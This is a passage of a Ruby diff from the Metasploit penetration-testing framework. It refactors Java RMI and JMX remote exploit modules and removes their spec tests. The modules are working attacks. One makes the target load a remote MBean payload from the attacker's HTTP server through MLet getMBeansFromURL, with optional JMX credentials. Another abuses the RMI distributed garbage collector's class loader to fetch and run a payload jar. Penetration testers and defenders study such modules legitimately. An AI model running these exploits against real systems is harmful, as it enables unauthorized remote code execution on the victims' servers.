new_array.values = []
|
||||
new_array.array_description = array_desc
|
||||
|
||||
stream.contents << new_array
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
# ObjID[] paramArrayOfObjID
|
||||
arguments << new_array
|
||||
|
||||
# long paramLong
|
||||
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
|
||||
|
@ -145,11 +170,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = []
|
||||
|
||||
stream.contents << new_object
|
||||
# VMID paramVMID
|
||||
arguments << new_object
|
||||
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
|
||||
# boolean paramBoolean
|
||||
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
|
||||
|
||||
stream
|
||||
arguments
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -8,7 +8,6 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Java::Jmx
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Java::Rmi::Client
|
||||
|
||||
|
@ -52,7 +51,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(1617)
|
||||
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
|
||||
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
|
||||
Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
@ -127,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Discoverig the JMXRMI endpoint...")
|
||||
print_status("#{peer} - Discovering the JMXRMI endpoint...")
|
||||
mbean_server = discover_endpoint
|
||||
disconnect
|
||||
if mbean_server.nil?
|
||||
|
@ -155,13 +156,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
print_status("#{peer} - Executing payload...")
|
||||
invoke_run_stream = invoke_stream(
|
||||
obj_id: jmx_endpoint[:id].chop,
|
||||
send_jmx_invoke(
|
||||
object_number: jmx_endpoint[:object_number],
|
||||
uid_number: jmx_endpoint[:uid].number,
|
||||
uid_time: jmx_endpoint[:uid].time,
|
||||
uid_count: jmx_endpoint[:uid].count,
|
||||
object: "#{@mlet}:name=jmxpayload,id=1",
|
||||
method: 'run'
|
||||
)
|
||||
send_call(call_data: invoke_run_stream)
|
||||
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
@ -176,94 +178,67 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def discover_endpoint
|
||||
send_call(call_data: discovery_stream)
|
||||
return_data = recv_return
|
||||
ref = send_registry_lookup(name: datastore['JMXRMI'])
|
||||
return nil if ref.nil?
|
||||
|
||||
if return_data.nil?
|
||||
vprint_error("#{peer} - Discovery request didn't answer")
|
||||
unless ref[:object] == 'javax.management.remote.rmi.RMIServerImpl_Stub'
|
||||
vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{ref[:object]}")
|
||||
return nil
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected JMXRMI discovery answer")
|
||||
return nil
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.remote.rmi.RMIServerImpl_Stub'
|
||||
mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents))
|
||||
else
|
||||
vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{answer}")
|
||||
return nil
|
||||
end
|
||||
|
||||
mbean_server
|
||||
ref
|
||||
end
|
||||
|
||||
def handshake(mbean)
|
||||
vprint_status("#{peer} - Sending handshake / authentication...")
|
||||
begin
|
||||
opts = {
|
||||
object_number: mbean[:object_number],
|
||||
uid_number: mbean[:uid].number,
|
||||
uid_time: mbean[:uid].time,
|
||||
uid_count: mbean[:uid].count
|
||||
}
|
||||
|
||||
send_call(call_data: handshake_stream(mbean[:id].chop))
|
||||
return_data = recv_return
|
||||
if datastore['JMX_ROLE']
|
||||
username = datastore['JMX_ROLE']
|
||||
password = datastore['JMX_PASSWORD']
|
||||
opts.merge!(username: username, password: password)
|
||||
end
|
||||
|
||||
if return_data.nil?
|
||||
vprint_error("#{peer} - Failed to send handshake")
|
||||
ref = send_new_client(opts)
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
vprint_error("#{peer} - JMXRMI discovery raised an exception of type #{e.message}")
|
||||
return nil
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected handshake answer")
|
||||
return nil
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'java.lang.SecurityException'
|
||||
vprint_error("#{peer} - JMX end point requires authentication, but it failed")
|
||||
return nil
|
||||
when 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
||||
vprint_good("#{peer} - Handshake completed, proceeding...")
|
||||
conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents))
|
||||
else
|
||||
vprint_error("#{peer} - Handshake returned unexpected object #{answer}")
|
||||
return nil
|
||||
end
|
||||
|
||||
conn_stub
|
||||
ref
|
||||
end
|
||||
|
||||
def load_payload(conn_stub)
|
||||
vprint_status("#{peer} - Getting JMXPayload instance...")
|
||||
get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: "#{@mlet}:name=jmxpayload,id=1")
|
||||
send_call(call_data: get_payload_instance)
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
vprint_error("#{peer} - The request to getObjectInstance failed")
|
||||
return false
|
||||
begin
|
||||
res = send_jmx_get_object_instance(
|
||||
object_number: conn_stub[:object_number],
|
||||
uid_number: conn_stub[:uid].number,
|
||||
uid_time: conn_stub[:uid].time,
|
||||
uid_count: conn_stub[:uid].count,
|
||||
name: "#{@mlet}:name=jmxpayload,id=1"
|
||||
)
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
case e.message
|
||||
when 'javax.management.InstanceNotFoundException'
|
||||
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
|
||||
return load_payload_from_url(conn_stub)
|
||||
else
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected exception #{e.message}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected getObjectInstance answer")
|
||||
return false
|
||||
end
|
||||
return false if res.nil?
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceNotFoundException'
|
||||
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
|
||||
return load_payload_from_url(conn_stub)
|
||||
when 'javax.management.ObjectInstance'
|
||||
vprint_good("#{peer} - JMXPayload instance found, using it")
|
||||
return true
|
||||
else
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}")
|
||||
return false
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
def load_payload_from_url(conn_stub)
|
||||
|
@ -271,99 +246,79 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
start_service
|
||||
|
||||
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
|
||||
create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet')
|
||||
send_call(call_data: create_mbean)
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
begin
|
||||
res = send_jmx_create_mbean(
|
||||
object_number: conn_stub[:object_number],
|
||||
uid_number: conn_stub[:uid].number,
|
||||
uid_time: conn_stub[:uid].time,
|
||||
uid_count: conn_stub[:uid].count,
|
||||
name: 'javax.management.loading.MLet'
|
||||
)
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
case e.message
|
||||
when 'javax.management.InstanceAlreadyExistsException'
|
||||
vprint_good("#{peer} - javax.management.loading.MLet already exists")
|
||||
res = true
|
||||
when 'java.lang.SecurityException'
|
||||
vprint_error("#{peer} - The provided user hasn't enough privileges")
|
||||
res = nil
|
||||
else
|
||||
vprint_error("#{peer} - createMBean raised unexpected exception #{e.message}")
|
||||
res = nil
|
||||
end
|
||||
end
|
||||
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - The request to createMBean failed")
|
||||
return false
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected createMBean answer")
|
||||
return false
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceAlreadyExistsException'
|
||||
vprint_good("#{peer} - javax.management.loading.MLet already exists")
|
||||
when 'javax.management.ObjectInstance'
|
||||
vprint_good("#{peer} - javax.management.loading.MLet created")
|
||||
when 'java.lang.SecurityException'
|
||||
vprint_error("#{peer} - The provided user hasn't enough privileges")
|
||||
return false
|
||||
else
|
||||
vprint_error("#{peer} - createMBean returned unexpected object #{answer}")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
|
||||
get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet')
|
||||
send_call(call_data: get_mlet_instance)
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
vprint_error("#{peer} - The request to getObjectInstance failed")
|
||||
begin
|
||||
res = send_jmx_get_object_instance(
|
||||
object_number: conn_stub[:object_number],
|
||||
uid_number: conn_stub[:uid].number,
|
||||
uid_time: conn_stub[:uid].time,
|
||||
uid_count: conn_stub[:uid].count,
|
||||
name: 'DefaultDomain:type=MLet'
|
||||
)
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected exception: #{e.message}")
|
||||
return false
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected getObjectInstance answer")
|
||||
return false
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceAlreadyExistsException'
|
||||
vprint_good("#{peer} - javax.management.loading.MLet already found")
|
||||
when 'javax.management.ObjectInstance'
|
||||
vprint_good("#{peer} - javax.management.loading.MLet instance created")
|
||||
else
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}")
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - The request to GetObjectInstance failed")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
|
||||
|
||||
invoke_mlet_get_mbean_from_url = invoke_stream(
|
||||
obj_id: conn_stub[:id].chop,
|
||||
object: 'DefaultDomain:type=MLet',
|
||||
method: 'getMBeansFromURL',
|
||||
args: { 'java.lang.String' => "#{get_uri}/mlet" }
|
||||
)
|
||||
send_call(call_data: invoke_mlet_get_mbean_from_url)
|
||||
return_data = recv_return
|
||||
begin
|
||||
res = send_jmx_invoke(
|
||||
object_number: conn_stub[:object_number],
|
||||
uid_number: conn_stub[:uid].number,
|
||||
uid_time: conn_stub[:uid].time,
|
||||
uid_count: conn_stub[:uid].count,
|
||||
object: 'DefaultDomain:type=MLet',
|
||||
method: 'getMBeansFromURL',
|
||||
args: { 'java.lang.String' => "#{get_uri}/mlet" }
|
||||
)
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}")
|
||||
return false
|
||||
ensure
|
||||
vprint_status("Stopping service...")
|
||||
stop_service
|
||||
end
|
||||
|
||||
vprint_status("Stopping service...")
|
||||
stop_service
|
||||
|
||||
if return_data.nil?
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - The call to getMBeansFromURL failed")
|
||||
return false
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 3)
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected getMBeansFromURL answer")
|
||||
return false
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceAlreadyExistsException'
|
||||
vprint_good("#{peer} - The remote payload was already loaded... okey, using it!")
|
||||
return true
|
||||
when 'javax.management.ObjectInstance'
|
||||
vprint_good("#{peer} - The remote payload has been loaded!")
|
||||
return true
|
||||
else
|
||||
vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}")
|
||||
return false
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -126,18 +126,45 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
new_url = get_uri + '/' + jar
|
||||
|
||||
print_status("#{peer} - Sending RMI Call...")
|
||||
send_call(call_data: build_gc_call_data(new_url))
|
||||
return_data = recv_return
|
||||
dgc_interface_hash = calculate_interface_hash(
|
||||
[
|
||||
{
|
||||
name: 'clean',
|
||||
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
|
||||
exceptions: ['java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'dirty',
|
||||
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
|
||||
exceptions: ['java.rmi.RemoteException']
|
||||
}
|
||||
]
|
||||
)
|
||||
|
||||
if return_data.nil? && !session_created?
|
||||
# JDK 1.1 stub protocol
|
||||
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
|
||||
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
|
||||
send_call(
|
||||
object_number: 2,
|
||||
uid_number: 0,
|
||||
uid_time: 0,
|
||||
uid_count: 0,
|
||||
operation: 0,
|
||||
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
|
||||
arguments: build_dgc_clean_args(new_url)
|
||||
)
|
||||
|
||||
return_value = recv_return
|
||||
|
||||
if return_value.nil? && !session_created?
|
||||
fail_with(Failure::Unknown, 'RMI Call failed')
|
||||
end
|
||||
|
||||
if return_data && loader_disabled?(return_data)
|
||||
if return_value && return_value.is_exception? && loader_disabled?(return_value)
|
||||
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
|
||||
end
|
||||
|
||||
if return_data && class_not_found?(return_data)
|
||||
if return_value && return_value.is_exception? && class_not_found?(return_value)
|
||||
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
|
||||
end
|
||||
|
||||
|
@ -170,13 +197,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return true
|
||||
end
|
||||
|
||||
def loader_disabled?(stream)
|
||||
stream.contents.each do |content|
|
||||
if content.class == Rex::Java::Serialization::Model::NewObject &&
|
||||
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
||||
content.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
|
||||
content.class_data[1].contents.include?('RMI class loader disabled')
|
||||
def loader_disabled?(return_value)
|
||||
return_value.value.each do |exception|
|
||||
if exception.class == Rex::Java::Serialization::Model::NewObject &&
|
||||
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
||||
exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
|
||||
exception.class_data[1].contents.include?('RMI class loader disabled')
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
@ -184,11 +211,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
false
|
||||
end
|
||||
|
||||
def class_not_found?(stream)
|
||||
stream.contents.each do |content|
|
||||
if content.class == Rex::Java::Serialization::Model::NewObject &&
|
||||
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
|
||||
def class_not_found?(return_value)
|
||||
return_value.value.each do |exception|
|
||||
if exception.class == Rex::Java::Serialization::Model::NewObject &&
|
||||
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
@ -196,14 +223,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
false
|
||||
end
|
||||
|
||||
def build_gc_call_data(jar_url)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
def build_dgc_clean_args(jar_url)
|
||||
arguments = []
|
||||
|
||||
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_array_annotation.contents = [
|
||||
|
@ -230,8 +251,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
new_array.values = []
|
||||
new_array.array_description = array_desc
|
||||
|
||||
stream.contents << new_array
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
arguments << new_array
|
||||
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
|
||||
|
@ -251,11 +272,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = []
|
||||
|
||||
stream.contents << new_object
|
||||
arguments << new_object
|
||||
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
|
||||
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
|
||||
|
||||
stream
|
||||
arguments
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,33 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'msf/java/jmx'
|
||||
|
||||
describe Msf::Java::Jmx::Discovery do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Jmx
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:stream_discovery) do
|
||||
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02" +
|
||||
"\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x06\x6a\x6d\x78\x72\x6d" +
|
||||
"\x69"
|
||||
end
|
||||
|
||||
describe "#discovery_stream" do
|
||||
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.discovery_stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
it "builds a valid stream to discover an jmxrmi endpoing" do
|
||||
expect(mod.discovery_stream.encode).to eq(stream_discovery)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,48 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/java'
|
||||
require 'msf/java/jmx'
|
||||
|
||||
describe Msf::Java::Jmx::Handshake do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Jmx
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:handshake_stream) do
|
||||
"\xac\xed\x00\x05\x77\x0d\x30\xff\xff\xff\xff\xf0\xe0\x74\xea\xad" +
|
||||
"\x0c\xae\xa8\x70"
|
||||
end
|
||||
|
||||
let(:auth_stream) do
|
||||
"\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" +
|
||||
"\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" +
|
||||
"\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" +
|
||||
"\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64"
|
||||
end
|
||||
|
||||
describe "#handshake_stream" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.handshake_stream(0)).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
it "builds a correct stream" do
|
||||
expect(mod.handshake_stream(0).encode).to eq(handshake_stream)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#auth_array_stream" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.auth_array_stream('role', 'password')).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "builds a correct stream" do
|
||||
expect(mod.auth_array_stream('role', 'password').encode).to eq(auth_stream)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,93 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'msf/java/jmx'
|
||||
|
||||
describe Msf::Java::Jmx::Mbean::ServerConnection do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Jmx
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:mbean_sample) { 'MBeanSample' }
|
||||
let(:sample_args) do
|
||||
{'arg1' => 'java.lang.String'}
|
||||
end
|
||||
|
||||
describe "#create_mbean_stream" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.create_mbean_stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
context "when no opts" do
|
||||
it "builds a default stream" do
|
||||
expect(mod.create_mbean_stream.contents[1].contents).to eq('')
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts" do
|
||||
it "builds a stream having opts into account" do
|
||||
expect(mod.create_mbean_stream(name: mbean_sample).contents[1].contents).to eq(mbean_sample)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#get_object_instance_stream" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.get_object_instance_stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
context "when no opts" do
|
||||
it "builds a default stream" do
|
||||
expect(mod.get_object_instance_stream.contents[2].contents).to eq('')
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts" do
|
||||
it "builds a stream having opts into account" do
|
||||
expect(mod.get_object_instance_stream(name: mbean_sample).contents[2].contents).to eq(mbean_sample)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#invoke_stream" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.invoke_stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
context "when no opts" do
|
||||
it "builds a default stream" do
|
||||
expect(mod.invoke_stream.contents[2].contents).to eq('')
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts" do
|
||||
it "builds a stream having opts into account" do
|
||||
expect(mod.invoke_stream(object: mbean_sample).contents[2].contents).to eq(mbean_sample)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#invoke_arguments_stream" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.invoke_arguments_stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
context "when no opts" do
|
||||
it "builds a default stream" do
|
||||
expect(mod.invoke_arguments_stream.contents[0].values.length).to eq(0)
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts" do
|
||||
it "builds a stream having opts into account" do
|
||||
expect(mod.invoke_arguments_stream(sample_args).contents[0].values[0].contents).to eq(sample_args['arg1'])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,121 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/java'
|
||||
require 'msf/java/jmx'
|
||||
|
||||
describe Msf::Java::Jmx::Util do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Jmx
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:empty) { '' }
|
||||
let(:empty_io) { StringIO.new(empty) }
|
||||
let(:string) { "\x00\x04\x41\x42\x43\x44" }
|
||||
let(:string_io) { StringIO.new(string) }
|
||||
let(:int) { "\x00\x00\x00\x04" }
|
||||
let(:int_io) { StringIO.new(int) }
|
||||
let(:stream_raw) do
|
||||
"\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" +
|
||||
"\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" +
|
||||
"\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" +
|
||||
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" +
|
||||
"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" +
|
||||
"\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" +
|
||||
"\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" +
|
||||
"\x2c\x69\x64\x3d\x31\x78\x70"
|
||||
end
|
||||
let(:stream) { Rex::Java::Serialization::Model::Stream.decode(StringIO.new(stream_raw)) }
|
||||
|
||||
let(:contents_unicast_ref) do
|
||||
"\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" +
|
||||
"\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" +
|
||||
"\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" +
|
||||
"\xdf\xd4\x57\x7e\x80\x01\x01"
|
||||
end
|
||||
let(:unicast_ref_io) do
|
||||
StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents)
|
||||
end
|
||||
let(:unicast_ref) do
|
||||
{
|
||||
:address => '172.16.158.131',
|
||||
:id => "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a\xdf\xd4\x57\x7e\x80\x01\x01",
|
||||
:port => 3057
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
describe "#extract_string" do
|
||||
context "when io contains a valid string" do
|
||||
it "returns the string" do
|
||||
expect(mod.extract_string(string_io)).to eq('ABCD')
|
||||
end
|
||||
end
|
||||
|
||||
context "when io doesn't contain a valid string" do
|
||||
it "returns nil" do
|
||||
expect(mod.extract_string(empty_io)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#extract_int" do
|
||||
context "when io contains a valid int" do
|
||||
it "returns the string" do
|
||||
expect(mod.extract_int(int_io)).to eq(4)
|
||||
end
|
||||
end
|
||||
|
||||
context "when io doesn't contain a valid int" do
|
||||
it "returns nil" do
|
||||
expect(mod.extract_int(empty_io)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#extract_object" do
|
||||
context "when empty stream" do
|
||||
it "returns nil" do
|
||||
empty_stream = Rex::Java::Serialization::Model::Stream.new
|
||||
expect(mod.extract_object(empty_stream, 1)). to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "when valid stream" do
|
||||
context "when id stores an object" do
|
||||
it "returns the object's class name" do
|
||||
expect(mod.extract_object(stream, 1)).to eq('javax.management.ObjectName')
|
||||
end
|
||||
end
|
||||
|
||||
context "when id doesn't store an object" do
|
||||
it "returns nil" do
|
||||
expect(mod.extract_object(stream, 0)). to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#extract_unicast_ref" do
|
||||
context "when empty io" do
|
||||
it "returns nil" do
|
||||
expect(mod.extract_unicast_ref(empty_io)). to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "when valid io" do
|
||||
it "returns a hash" do
|
||||
expect(mod.extract_unicast_ref(unicast_ref_io)).to be_a(Hash)
|
||||
end
|
||||
|
||||
it "returns a hash containing the UnicastRef information" do
|
||||
expect(mod.extract_unicast_ref(unicast_ref_io)).to eq(unicast_ref)
|
